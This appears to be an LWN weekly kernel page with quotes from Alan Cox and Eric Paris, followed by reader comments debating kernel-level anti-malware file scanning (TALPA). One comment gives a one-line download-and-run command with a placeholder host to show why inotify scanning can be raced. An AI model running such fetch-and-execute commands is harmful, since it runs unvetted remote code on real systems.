Weekly Edition
Return to the Kernel page
| |||||||||||||
Quotes of the week
Now computer security is a bit different because it has some night
of the living dead type properties where the zombies don't just
sneak in through the toilet window but they go around turning
security guards into zombies too but the basic premise is very much
the same.
-- Alan Cox
So after about a week of trying to squeeze information out of
anti-malware companies I'm starting to feel like I can better speak
for their needs (although they probably don't like what I have to
say). I would like to point out that many enterprises are going to
run this stuff on their machines. Period. End of story.
Personally I'd rather support a clean interface than have to try to
support support problems my customers have when their hacked
fragile systems have trouble.
-- Eric Paris gives TALPA a threat model(Log in to post comments)
Quotes of the week Posted Aug 14, 2008 10:24 UTC (Thu) by i3839 (guest, #31386) [Link] Well, reading Eric's whole message it's totally unconvincing. If file scanning is the only purpose and nothing else, why should the scanning happen at open and close time? Who says that the program writing a malicious file will close it before sending it further? (Not that unlikely it's cached.) All in all it seems that the file scanning should be plugged into the programs writing those files in the first place, not in the kernel. Or just have an inotify daemon running that removes malicious files, achieves the same amount of security. Or preloaded library stuff even. Oh wait, stuffing it in the kernel is easier... I didn't follow the thread, just looking at the situation described in that email.
Quotes of the week Posted Aug 14, 2008 19:28 UTC (Thu) by gmaxwell (subscriber, #30048) [Link] Eh. I dunno. It would be kinda interesting to integrate the scanning with SElinux MCS. MCS is the facility that allows you to create security classes, like "Top secret" vs "unclassified". Set it up so that when Mozilla/Pidgin/etc writes a file it writes it with a "tainted" category. Files in the tainted category can't be read by anything but a user-space scanning tool, and maybe some other known-safe utilities. An added hook would alert a userspace scanning tool to check tainted files when they are written or when something non-permitted attempts to read them. The scanning util performs its tests and either switches the file into a quarantined status, or a checked status. This way files don't need to be constantly tested every single time they are read.
Quotes of the week Posted Aug 14, 2008 22:26 UTC (Thu) by jengelh (subscriber, #33263) [Link] >who says that the program writing a malicious file will close it before sending it further? That is exactly the issue why "security" modules like these have not received much praise anyway.
Quotes of the week Posted Aug 15, 2008 2:55 UTC (Fri) by pflugstad (subscriber, #224) [Link] Who says that the program writing a malicious file will close it before sending it further?Actually, didn't he say that scanning should happen at read/write time? Yeah: 2) I think the "best" time to do scanning is at read and write.Note that I agree with you - just that he seems to have addressed that criticism.
Quotes of the week Posted Aug 15, 2008 11:17 UTC (Fri) by i3839 (guest, #31386) [Link] Well, just caching the file in memory is enough, if you want an alternative scenario. Or are you going to kill the process that writes a bad file? Fun. It's a bit better in theory, not much difference in practice. Good luck getting a bad file match if the program uses a small buffer too. Not to mention the huge mess you're in when mmap is used. And don't forget things like sendfile() either. Anyway, he also said the cost was too high, claiming open+close checks are good enough. More precisely: > 2) I think the "best" time to do scanning is at read and write. Any > disagreements there? But what's the cost? The cost is lots of scanning > and a huge performance hit on concurrent file access. I'm willing to > put hard numbers behind this, but it does seem quite obvious that open > and close happen a lot less than read and write. Sure that means > between open and read data may have become bad. We aren't an LSM. We > aren't and IDS. We aren't making solid claims about local system > security. We are claiming to harden the machine's storage and > propagation of 'bad' files. So local security isn't the goal, all they want to do is making propagation of bad files more difficult. BTW, open + close are two calls per file, read or write can happen once per used file. So checking read and write may cost even less than checking both open and close under certain circumstances.
Quotes of the week Posted Aug 19, 2008 18:19 UTC (Tue) by eparis (subscriber, #33060) [Link] Yeah, you didn't read the whole thread. (Says the guy with the quote of the week.) I'll address your issues here anyway so people who only get that blurb don't think I missed things you caught. My statement was that access decisions are to be made at open time in any file scanning system. There is no revoke mechanism in linux, so claiming that we should revoke access to a process with an open file because someone else writes junk into it is pointless and impossible. close time scanning is a speed up so we have results when the next open occurs. Actually my first code just did scanning on open and achieved the same results and access controls. Having that async close scanning speeds things up a fair deal for the next open though. Read Alan Cox's comment above mine about try to enumerate all of the boundaries. Yes, putting guards at the door is good, but its not a solution. Especially when some of those door can't have guards (nfs?) inotify has been pointed out by everyone who understands how it works as completely infeasible. An all new 'inotify like' subsystem would be required (heck I even wrote one!) to give performance improvements, but obviously inotify can't solve the issue. Simple shell code to get around any inotify based async system is wget http://badfile;./badfile no way inotifiy had time to scan badfile and chmod/rm it before it was run. inotify is a lot like what async notifications will do, but it can't provide any security and isn't even a potential solution preloaded libraries have many counter examples in the thread including knfsd and static binaries like ldconfig. And yes, kernel coding is easy, that's why we all do it *smile*
|
|||||||||||||